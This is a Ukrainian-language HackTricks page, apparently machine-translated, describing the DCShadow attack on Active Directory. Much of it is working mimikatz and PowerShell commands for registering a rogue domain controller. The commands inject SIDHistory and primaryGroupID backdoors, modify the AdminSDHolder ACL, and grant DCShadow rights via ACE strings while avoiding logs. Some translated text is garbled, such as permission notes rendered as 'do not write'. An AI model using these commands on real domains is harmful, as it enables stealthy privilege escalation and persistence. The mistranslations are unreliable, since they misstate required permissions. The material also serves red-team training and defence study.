tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
DCShadow
Він реєструє новий контролер домену в AD і використовує його для поширення атрибутів (SIDHistory, SPNs...) на вказаних об'єктах без залишення будь-яких логів щодо модифікацій. Вам потрібні DA привілеї і ви повинні бути в кореневому домені.
Зверніть увагу, що якщо ви використовуєте неправильні дані, з'являться досить неприємні логи.
Для виконання атаки вам потрібно 2 екземпляри mimikatz. Один з них запустить RPC-сервери з привілеями SYSTEM (тут ви повинні вказати зміни, які хочете виконати), а інший екземпляр буде використовуватися для поширення значень:
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
lsadump::dcshadow /push
Зверніть увагу, що elevate::token
не працюватиме в сесії mimikatz1
, оскільки це підвищило привілеї потоку, але нам потрібно підвищити привілей процесу.
Ви також можете вибрати об'єкт "LDAP": /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local
Ви можете внести зміни від DA або від користувача з цими мінімальними правами:
- У об'єкті домену:
- DS-Install-Replica (Додати/Видалити репліку в домені)
- DS-Replication-Manage-Topology (Управління топологією реплікації)
- DS-Replication-Synchronize (Синхронізація реплікації)
- Об'єкт сайтів (та його нащадки) у контейнері конфігурації:
- CreateChild and DeleteChild
- Об'єкт комп'ютера, який зареєстрований як DC:
- WriteProperty (Не записувати)
- Цільовий об'єкт:
- WriteProperty (Не записувати)
Ви можете використовувати Set-DCShadowPermissions, щоб надати ці привілеї непривабливому користувачу (зверніть увагу, що це залишить деякі журнали). Це набагато більш обмежувально, ніж мати привілеї DA.
Наприклад: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose
Це означає, що ім'я користувача student1 при вході в систему на машині mcorp-student1 має права DCShadow на об'єкт root1user.
Використання DCShadow для створення бекдорів
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
Shadowception - Надати права DCShadow за допомогою DCShadow (без змінених журналів прав)
Нам потрібно додати наступні ACE з SID нашого користувача в кінці:
- На об'єкті домену:
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
- На об'єкті комп'ютера атакуючого:
(A;;WP;;;UserSID)
- На об'єкті цільового користувача:
(A;;WP;;;UserSID)
- На об'єкті Сайтів у контейнері Конфігурації:
(A;CI;CCDC;;;UserSID)
Щоб отримати поточний ACE об'єкта: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl
Зверніть увагу, що в цьому випадку вам потрібно зробити кілька змін, а не лише одну. Тому, в сесії mimikatz1 (RPC сервер) використовуйте параметр /stack
з кожною зміною, яку ви хочете внести. Таким чином, вам потрібно буде /push
лише один раз, щоб виконати всі накопичені зміни на роговому сервері.
Більше інформації про DCShadow на ired.team.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.